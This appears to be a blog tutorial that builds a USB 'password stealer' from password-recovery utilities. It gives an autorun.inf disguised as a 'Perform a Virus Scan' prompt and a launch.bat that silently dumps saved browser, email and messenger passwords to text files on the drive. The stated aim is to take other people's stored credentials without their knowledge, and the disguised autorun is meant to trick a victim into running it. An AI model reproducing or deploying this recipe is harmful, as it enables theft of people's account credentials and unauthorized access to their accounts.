So, it is common that most of the keeps there passwords saved in their browsers, well this is very helpful so that they don’t have to write their long passwords over and over again, but at the same time this is also very dangerous. In this tutorial i will show you how to create a password stealer which can be used in a USB flash drive.
So before we continue, please download these small softwares which we will be using to create out password stealer
MessenPass is a password recovery tool that reveals the passwords of the following instant messenger applications:
- MSN Messenger
- Windows Messenger (In Windows XP)
- Windows Live Messenger (In Windows XP/Vista/7)
- Yahoo Messenger (Versions 5.x and 6.x)
- Google Talk
- ICQ Lite 4.x/5.x/2003
- AOL Instant Messenger v4.6 or below, AIM 6.x, and AIM Pro.
- Trillian Astra
- MySpace IM
Mail PassView is a small password-recovery tool that reveals the passwords and other account details for the following email clients:
- Outlook Express
- Microsoft Outlook 2000 (POP3 and SMTP Accounts only)
- Microsoft Outlook 2002/2003/2007/2010 (POP3, IMAP, HTTP and SMTP Accounts)
- Windows Mail
- Windows Live Mail
- Netscape 6.x/7.x (If the password is not encrypted with master password)
- Mozilla Thunderbird (If the password is not encrypted with master password)
- Group Mail Free
- Yahoo! Mail – If the password is saved in Yahoo! Messenger application.
- Hotmail/MSN mail – If the password is saved in MSN/Windows/Live Messenger application.
- Gmail – If the password is saved by Gmail Notifier application, Google Desktop, or by Google Talk
IE PassView is a small password management utility that reveals the passwords stored by Internet Explorer Web browser, and allows you to delete passwords that you don’t need anymore. It supports all versions of Internet Explorer, from version 4.0 and up to 9.0.
For each password that is stored by Internet Explorer, the following information is displayed: Web address, Password Type (AutoComplete, Password-Protected Web Site, or FTP), Storage Location (Registry, Credentials File, or Protected Storage), and the user name/password pair. You can select one or more items from the passwords list and export them into text/html/csv/xml file.
Protected Storage PassView is a small utility that reveals the passwords stored on your computer by Internet Explorer, Outlook Express and MSN Explorer. The passwords are revealed by reading the information from the Protected Storage.
PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.
Now copy these programs into the root folder of your pendrive.
copy this code and save it as autorun.inf
ACTION= Perform a Virus Scan
put this file also into the pendrive.
Now copy this code save it as launch.bat put this also into the pendrive.
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
Now in windows XP computers, when you insert the pendrive a popup will appear asking for “Perfom Virus Scan” just click it and you’re done. you can see the stolen passwords inside the pendrive with .txt files.
In windows Seven, Vista go to the pendrive folder, and manually open the launch.bat file.